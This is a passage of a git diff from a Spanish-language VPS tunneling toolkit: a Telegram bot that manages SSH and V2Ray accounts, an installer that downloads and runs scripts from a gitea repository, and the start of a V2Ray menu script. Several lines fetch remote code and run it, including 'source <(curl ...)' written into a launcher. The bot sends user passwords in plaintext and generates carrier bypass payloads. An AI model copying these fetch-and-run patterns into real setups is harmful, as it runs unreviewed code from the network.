./liberados | grep -w ${chatuser}) ]] && msg=" BIENVENIDO USUARIO \n" || msg=" BIENVENIDO ADMIN @${callback_query_from_username}\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" 😀 MENU DE ACCIONES RAPIDAS 😀\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' +msg+="COMANDOS DISPONIBLES \n" +[[ -z ${_ADMIN} ]] || msg+="/agregar ( AGREGAR USUARIO )\n" +[[ -z ${_ADMIN} ]] || msg+="/usuarios ( MUESTRA USUARIOS REGISTRADOS )\n" +[[ -z ${_ADMIN} ]] || msg+="/conectados ( MUESTRA USUARIOS CONECTADOS)\n" +[[ -z ${_ADMIN} ]] || msg+="/borrar ( ELIMINAR USUARIO SSH)\n" +[[ -z ${_ADMIN} ]] || msg+="/v2ray ( AGREGAR USUARIO V2RAY )\n" +[[ -z ${_ADMIN} ]] || msg+="/puertos ( PUERTOS ACTIVOS EN VPS )\n" +[[ -z ${_ADMIN} ]] || msg+="/infovps ( INFORMACION DEL VPS )\n" +[[ -z ${_ADMIN} ]] || msg+="/liberados ( USUARIOS LIBERADOS POR EL BOT )\n" +[[ -z ${_ADMIN} ]] || msg+="/gerar (${txt[25]})\n" +[[ -z ${_ADMIN} ]] && msg+="/access LIBERAR ACCESO ( /access user pass )\n" +[[ $(cat ./liberados | head -1 | grep -w ${chatuser} ) ]] && msg+="/aggADM AGREGAR ADMIN ( /aggADM 19283764 )\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e $msg)" \ + --parse_mode html + return 0 +} + +info_fun () { +bash ./bot_codes infousers +if [ "$?" = "1" ]; then +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="${txt[28]}\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e $msg)" \ + --parse_mode html + return 0 +else + local msg + msg=' =================================== \n' + cont=1 + while read lines; do + [[ -z ${lines} ]] && break + user=$(echo "$lines" | awk '{print $1}') + sen=$(echo "$lines" | awk '{print $2}') + limit=$(echo "$lines" | awk '{print $3}') + data=$(echo "$lines" | awk '{print $4}') + msg+=" USER (${cont}) : $user\n" + msg+=" PASSWD : $sen\n" + msg+=" EXPIRA : $data\n" + msg+=" LIMITE : $limit\n" + msg+=' =================================== \n' + let cont++; + done < ./infousers-txt + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e $msg)" \ + --parse_mode html + return 0 +fi +} + +online_fun () { +bash ./bot_codes onlines +if [ "$?" = "1" ]; then +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="${txt[33]}\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $msg)" \ + --parse_mode markdown + return 0 +else +local msg +unset msg +while read lines; do +[[ "$lines" = "" ]] && break + user=$(echo "$lines" | awk '{print $1}') + conex=$(echo "$lines" | awk '{print $2}') + msg+=' -----------------------\n' + msg+=" USER : $user\n" + msg+=" CONEXIONES : $conex\n" + msg+=' ----------------------- \n' +done < ./onlines-txt + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e $msg)" \ + --parse_mode html + return 0 +fi +} + +usv2link () { +[[ ! -z $1 ]] && v2link=$1 +[[ ! -z $2 ]] && Img=$2 +[[ ! -z $3 ]] && usr=$3 + + ShellBot.sendDocument --chat_id ${message_chat_id[$id]} \ + --document @${Img} \ + --caption "$(echo -e "$v2link ")" \ + --parse_mode html + + +} + +useradd_fun () { +[[ "$1" = "" ]] && exec="error" +[[ "$2" = "" ]] && exec="error" +[[ "$3" = "" ]] && exec="error" +[[ "$4" = "" ]] && exec="error" +if [ "$exec" = "error" ]; then +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" FORMA DE USAR ESTA OPC\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" DEBES ENVIAR EL COMANDO \n /agregar Nombre_User Clave Tiempo Limite\n" + msg+="▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n" + msg+='agregar admin admin 30 1\n' + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e $msg)" \ + --parse_mode html + return 0 +fi +bash ./bot_codes criarusr "$1" "$2" "$3" "$4" +if [ "$?" = "1" ]; then +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" ERROR INTERNO RETURN 0x0012\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $msg)" \ + --parse_mode markdown +return 0 +else +while read lines; do +[[ "$lines" = "" ]] && break +bash ./bot_codes ports_ +local msg + usr=$(echo "$lines" | awk '{print $1}') + sen=$(echo "$lines" | awk '{print $2}') + dia=$(echo "$lines" | awk '{print $3}') + limit=$(echo "$lines" | awk '{print $4}') + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + while read line; do + [[ "$line" = "" ]] && break + msg+="$line\n" + done < ./textoports + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="Host/IP-Address :
$(wget -qO- ifconfig.me)
\n" + msg+="USUARIO : $usr\n" + msg+="PASSWD : $sen\n" + msg+="DURACION: $dia\n" + msg+="LIMITE : $limit\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' +[[ -e /etc/adm-lite/slow/dnsi/domain_ns ]] && msg+=" DOMINIO NS : $(cat < /etc/adm-lite/slow/dnsi/domain_ns) \n" +[[ -e /etc/adm-lite/slow/dnsi/server.pub ]] && msg+=" KEY PUBLIC : $(cat < /etc/adm-lite/slow/dnsi/server.pub) \n" +[[ -e /etc/adm-lite/slow/dnsi/protc && -e /etc/adm-lite/slow/dnsi/puerto ]] && msg+="PROTOCOLO : $(cat < /etc/adm-lite/slow/dnsi/protc) -> $(cat < /etc/adm-lite/slow/dnsi/puerto) \n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + #URG="https://api.telegram.org/bot$TOKEN/sendPhoto" + #curl -s -X POST $URG -F chat_id=${message_chat_id[$id]} -F photo="@${Img}" + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e $msg)" \ + --parse_mode html + unset msg +done < ./criarusr-txt +return 0 +fi +} + +userdell_fun () { +[[ "$1" = "" ]] && exec="error" +if [ "$exec" = "error" ]; then +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="${txt[45]}\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" DEBES ENVIAR EL COMANDO \n borrar Nombre_User\n" + msg+="▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n" + msg+='borrar USUARIO\n' + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e $msg)" \ + --parse_mode html + return 0 +fi +bash ./bot_codes userdelete "$1" +if [ "$?" = "1" ]; then +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" ERROR INTERNO RETURN 0x0012\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e $msg)" \ + --parse_mode html +return 0 +else +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" USUARIO ELIMINADO EXITOSAMENTE \n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e $msg)" \ + --parse_mode html +return 0 +fi +} + +price () { +local msg + msg=' --------------------------------------------------\n' + msg+="| [•] @drowkid01 [•] |\n" + msg+='-------------------------------------------------\n' + msg+=' $1.50 USD - Acceso ilimitado al BOT 15 dias \n' + msg+=' $3.00 USD - Acceso ilimitado al BOT 120 dias\n' + msg+=' $5.00 USD - Acceso ilimitado al BOT 180 dias\n' + msg+=' $8.00 USD - Acceso ilimitado al BOT 365 dias\n' + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" Recuerda que con el Bot Premium tienes acceso Ilimitado \n Incluyendo tu reseller en la Key! \n Soporte, Actualizaciones y MAS!!)\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $msg)" \ + --parse_mode markdown +return 0 +} + +_v2fun() { +usr="$1" +_day="$2" +[[ "$1" = "" ]] && exec="error" +[[ "$2" = "" ]] && exec="error" +if [ "$exec" = "error" ]; then +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="${txt[36]}\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+=" DEBES ENVIAR EL COMANDO \n v2ray Nombre_User Tiempo\n" + msg+="▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n" + msg+='v2ray nameUSER 30 \n' + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e $msg)" \ + --parse_mode html + return 0 +fi +[[ $_day < 1 ]] && _day='1' +bash ./bot_codes v2r_ "${usr}" "${_day}" +if [ "$?" = "1" ]; then +local msg + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="USUARIO V2RAY NO CREADO\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e $msg)" \ + --parse_mode html +return 0 +else +local msg + v2link=$(cat < /bin/ejecutar/${usr}_vmess.txt) + msg='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + #[[ -e /var/www/html/${usr}_vmess_qr.png ]] && valid=$(date '+%C%y-%m-%d' -d " +$daysrnf days") + [[ -e /var/www/html/${usr}_vmess_qr.png ]] && datexp=$(date "+%d/%m/%Y" -d " +$_day days") + msg+=" USUARIO : ${usr}\n" + msg+=" EXPIRA : ${datexp}\n" + #done < ./textoports + msg+='• 𝄘𝄘𝄘𝄘𝄘𝄘 URL VMESS 𝄘𝄘𝄘𝄘𝄘 •\n' + msg+="
${v2link}
\n" + [[ -e /var/www/html/${usr}_vmess_qr.png ]] && msg+=" http://$(wget -qO- ifconfig.me):81/${usr}_vmess_qr.png \n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id "${message_chat_id[$id]}" \ + --reply_to_message_id "${message_message_id[$id]}" \ + --text "$(echo -e $msg)" \ + --parse_mode html + unset msg +return 0 +fi +} + + +paygen_fun () { +[[ "$1" = "" ]] && fail="0" +[[ "$2" = "" ]] && fail="0" +[[ "$3" = "" ]] && fail="0" +if [[ "$fail" = "0" ]]; then +local msg + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="${txt[50]}:\n" + msg+="/gerar ${txt[51]}\n" + msg+="${txt[52]}:\n" + msg+="/gerar claro.com 1/9 1/3\n" + msg+="${txt[53]}\n1-GET, 2-CONNECT, 3-PUT, 4-OPTIONS, 5-DELETE, 6-HEAD, 7-TRACE, 8-PROPATCH, 9-PATCH\n" + msg+="${txt[54]}\n1-REALDATA, 2-NETDATA, 3-RAW\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $msg)" \ + --parse_mode markdown + unset msg +return 0 +fi +host="$1" +req="$2" +conex="$3" +bash ./bot_codes paygen "$host" "$req" "$conex" +if [ "$?" = "0" ]; then +local msg + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="${txt[55]}\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $msg)" \ + --parse_mode markdown +local msg2 + ShellBot.sendDocument --chat_id ${message_chat_id[$id]} \ + --document @$HOME/payloads.txt +return 0 +else +local msg + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + msg+="${txt[56]}\n" + msg+="${txt[57]}\n" + msg+='▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ \n' + ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \ + --text "$(echo -e $msg)" \ + --parse_mode markdown +return 0 +fi +} + +fun_chat () { + ( + chatuser="${message_chat_id[$id]}" + comando=(${message_text[$id]}) + [[ "${comando[0]}" = @(/teste|teste) ]] && teste + [[ "${comando[0]}" = @(/ajuda|ajuda|help|/help|/menu) ]] && ajuda_fun + [[ "${comando[0]}" = @(/start|start|comecar|/comecar) ]] && ajuda_fun + [[ "${comando[0]}" = @(/access|access|loguin|/loguin) ]] && ativarid "${comando[1]}" "${comando[2]}" "$chatuser" + if [[ "$(cat ./liberados|grep "$chatuser")" != "" ]]; then + [[ "${comando[0]}" = @(activos|/activos|conectados|/conectados) ]] && online_fun + [[ "${comando[0]}" = @(/puertos|puertos) ]] && infoporta + [[ "${comando[0]}" = @(agregar|/agregar|add|/add) ]] && useradd_fun "${comando[1]}" "${comando[2]}" "${comando[3]}" "${comando[4]}" + [[ "${comando[0]}" = @(v2ray|/v2ray|addv2|/addv2) ]] && _v2fun "${comando[1]}" "${comando[2]}" "${comando[3]}" + [[ "${comando[0]}" = @(borrar|/borrar|dell|/dell) ]] && userdell_fun "${comando[1]}" + [[ "${comando[0]}" = @(usuarios|/usuarios) ]] && info_fun + [[ "${comando[0]}" = @(infovps|/infovps) ]] && infovps + [[ "${comando[0]}" = @(gerar|/gerar|pay|/pay) ]] && paygen_fun "${comando[1]}" "${comando[2]}" "${comando[3]}" + [[ "${comando[0]}" = @(liberados|/liberados|libres|/libres) ]] && loguin_fun + [[ "${comando[0]}" = @(aggADM|/aggADM) ]] && add_admin "${comando[1]}" "${comando[2]}" "${comando[3]}" + [[ "${comando[0]}" = @(precios|/precios) ]] && price + else + [[ "${comando[0]}" != "" ]] && blockfun + fi + ) & +} + +[[ ! -e ./liberados ]] && touch ./liberados +while : +do + ShellBot.getUpdates --limit 100 --offset $(ShellBot.OffsetNext) --timeout 30 + for id in $(ShellBot.ListUpdates); do + case ${message_text[$id]} in + *) + : + fun_chat + ;; + esac + done +done diff --git a/Recursos/usercodes/telebot.sh b/Recursos/usercodes/telebot.sh new file mode 100644 index 0000000..31f2f38 --- /dev/null +++ b/Recursos/usercodes/telebot.sh @@ -0,0 +1,48 @@ +#!/bin/bash + +[[ -e /etc/adm-lite/ShellBot.sh ]] && rm /etc/adm-lite/ShellBot.sh +[[ -e /etc/adm-lite/ultimatebot ]] && rm /etc/adm-lite/ultimatebot +wget -q -O /etc/adm-lite/ShellBot.sh https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/usercodes/telebot-sh/ShellBot.sh && chmod +x /etc/adm-lite/ShellBot.sh > /dev/null +#wget -q -O /etc/adm-lite/ShellBot.sh https://raw.githubusercontent.com/ChumoGH/VPSbot/main/ShellBot.sh && chmod +x /etc/adm-lite/ShellBot.sh > /dev/null +#wget -q -O /etc/adm-lite/ultimatebot https://www.dropbox.com/s/6hzvja2mhgknl02/ultimatebot && chmod +x /etc/adm-lite/ultimatebot > /dev/null +wget -q -O /etc/adm-lite/ultimatebot https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/usercodes/telebot-sh/ultimatebot-ant.sh && chmod +x /etc/adm-lite/ultimatebot > /dev/null +#wget -q -O /etc/adm-lite/bot_codes https://www.dropbox.com/s/wj53654gm0lhuja/bot_codes && chmod +x /etc/adm-lite/bot_codes > /dev/null +wget -q -O /etc/adm-lite/bot_codes https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/usercodes/telebot-sh/bot_codes-ant.sh && chmod +x /etc/adm-lite/bot_codes > /dev/null +telegran_bot () { +cd /etc/adm-lite +if [[ "$(ps x | grep "ultimatebot" | grep -v "grep")" = "" ]]; then +echo -e "${barra}" +echo -e " INGRESA TUS CREDENCIALES DE ACCESO AL BOT" +echo -e "${barra}" +read -p " TELEGRAN BOT TOKEN: " tokenxx +read -p " TELEGRAN BOT LOGUIN: " loguin +read -p " TELEGRAN BOT PASS: " pass +#read -p " IDIOMA DEL BOT [ES]: " lang +[[ -z $lang ]] && lang="es" +echo -e "${barra}" +echo -e "${loguin}:${pass}" > ./bottokens +screen -dmS telebotusr bash ./ultimatebot "$tokenxx" "$lang" > /dev/null 2>&1 +echo -e " INICIANDO CONFIGURACION DEL BOT, ESPERE" +sleep 2s +[[ $(ps x | grep "ultimatebot" | grep -v "grep" | awk '{print $1}') ]] && echo -e " RUNNING" || echo -e "BOT NO INICIADO" +echo -e "${barra}" +echo -e " COLOCA TUS CREDENCIALES EN EL BOT HACI :" +echo -e " /access $loguin $pass" +echo -e "${barra}" +read -p " PRESIONA ENTER PARA CONTINUAR" +else +kill -9 $(ps x | grep "ultimatebot" | grep -v "grep" | awk '{print $1}') > /dev/null 2>&1 +kill $(ps x | grep "telebotusr" | grep -v "grep" | awk '{print $1}') > /dev/null 2>&1 +[[ -e ./bottokens ]] && rm ./bottokens +echo -e "${barra}" +echo -e " ESTAMOS DETENIENDO EL BOT" +echo -e "${barra}" +[[ -e /etc/adm-lite/ShellBot.sh ]] && rm /etc/adm-lite/ShellBot.sh +[[ -e /etc/adm-lite/ultimatebot ]] && rm /etc/adm-lite/ultimatebot +[[ -e /etc/adm-lite/bot_codes ]] && rm /etc/adm-lite/bot_codes +fi +cd $HOME +exit +} +telegran_bot +return \ No newline at end of file diff --git a/Recursos/v2ray1.sh b/Recursos/v2ray1.sh new file mode 100644 index 0000000..30d5460 --- /dev/null +++ b/Recursos/v2ray1.sh @@ -0,0 +1,1235 @@ +#!/bin/bash +#24/10/2022 +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) > /dev/null +source msg +clear&&clear +funINIT() { +[[ $1 == 1 ]] && { +echo 'source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/v2ray1.sh)' > /bin/v2ray.menu +chmod +x /bin/v2ray.menu +echo -e " RECUERDA QUE PARA UN INICIO RAPIDO SOLO DIGITA" +msg -bar +print_center -verm2 "v2ray.menu" +msg -bar +msg -ne "Enter Para Continuar" && read enter +echo "v2ray" >> /etc/checkV + } +[[ $1 == 2 ]] && { +[[ $(cat /etc/checkV | wc -l) > 4 ]] && return +echo -e " RECUERDA QUE PARA UN INICIO RAPIDO SOLO DIJITA" +msg -bar +print_center -verm2 "v2ray.menu" +msg -bar +msg -ne "Enter Para Continuar" && read enter +echo "v2ray" >> /etc/checkV + } +} +blanco(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;37m$1\033[0m" + } || { + echo -ne " \033[1;37m$1:\033[0m " + } +} + +verde(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;32m$1\033[0m" + } || { + echo -ne " \033[1;32m$1:\033[0m " + } +} + +rojo(){ + [[ ! $2 = 0 ]] && { + echo -e "\033[1;31m$1\033[0m" + } || { + echo -ne " \033[1;31m$1:\033[0m " + } +} + +col(){ + + nom=$(printf '%-55s' "\033[0;92m${1} \033[0;31m>> \033[1;37m${2}") + echo -e " $nom\033[0;31m${3} \033[0;92m${4}\033[0m" +} + +col2(){ + + echo -e " \033[1;91m$1\033[0m \033[1;37m$2\033[0m" +} + +vacio(){ + + blanco "\n no se puede ingresar campos vacios..." +} + +cancelar(){ + + echo -e "\n \033[3;49;31minstalacion cancelada...\033[0m" +} + +continuar(){ + + echo -e " \033[3;49;32mEnter para continuar...\033[0m" +} + +title2(){ +v2rayports=`lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep v2ray | awk '{print substr($9,3); }' > /tmp/v2ray.txt && echo | cat /tmp/v2ray.txt | tr '\n' ' ' > /etc/adm-lite/v2rayports.txt && cat /etc/adm-lite/v2rayports.txt` > /dev/null 2>&1 +v2rayports=$(echo $v2rayports | awk {'print $1'}) +_tconex=$(netstat -nap | grep "$v2rayports" | grep v2ray | grep ESTABLISHED| grep tcp6 | awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq | wc -l) + v1=$(cat /etc/adm-lite/v-local.log) + v2=$(cat /bin/ejecutar/v-new.log) + msg -bar + [[ $v1 = $v2 ]] && echo -e " \e[97m\033[1;41m V2ray by @Rufu99 Remasterizado @drowkid01 [$v1] \033[0m" || echo -e " \e[97m\033[1;41m V2ray by @Rufu99 Remasterizado @drowkid01 [$v1] >> \033[1;92m[$v2] \033[0m" +[[ ! -z $v2rayports ]] && echo -e " \e[97m\033[1;41mPUERTO ACTIVO :\033[0m \033[3;32m$v2rayports\033[0m \e[97m\033[1;41m ACTIVOS:\033[0m \033[3;32m\e[97m\033[1;41m $_tconex " || echo -e " \e[97m\033[1;41mERROR A INICIAR V2RAY : \033[0m \033[3;32m FAIL\033[3;32m" + } + +title(){ + msg -bar + blanco "$1" + msg -bar +} + +userDat(){ + blanco " N° Usuarios fech exp dias" + msg -bar +} + + +[[ ! -e /bin/v2ray.menu ]] && funINIT "1" || funINIT "2" +clear&&clear +install_ini () { +sudo apt-get install software-properties-common -y +add-apt-repository universe +apt update -y; apt upgrade -y +clear +echo -e "$BARRA" +echo -e "\033[92m -- INSTALANDO PAQUETES NECESARIOS -- " +echo -e "$BARRA" +#bc +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || apt-get install bc -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install bc................... $ESTATUS " +#jq +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install jq................... $ESTATUS " +#python +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python............... $ESTATUS " +#pip +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || apt-get install python-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python-pip........... $ESTATUS " +#python3 +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || apt-get install python3 -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3.............. $ESTATUS " +#python3-pip +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || apt-get install python3-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3-pip.......... $ESTATUS " +#curl +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || apt-get install curl -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install curl................. $ESTATUS " +#npm +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || apt-get install npm -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install npm.................. $ESTATUS " +#nodejs +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || apt-get install nodejs -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install nodejs............... $ESTATUS " +#socat +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || apt-get install socat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install socat................ $ESTATUS " +#netcat +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || apt-get install netcat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat............... $ESTATUS " +#netcat-traditional +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || apt-get install netcat-traditional -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat-traditional... $ESTATUS " +#net-tools +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || apt-get net-tools -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install net-tools............ $ESTATUS " +#cowsay +[[ $(dpkg 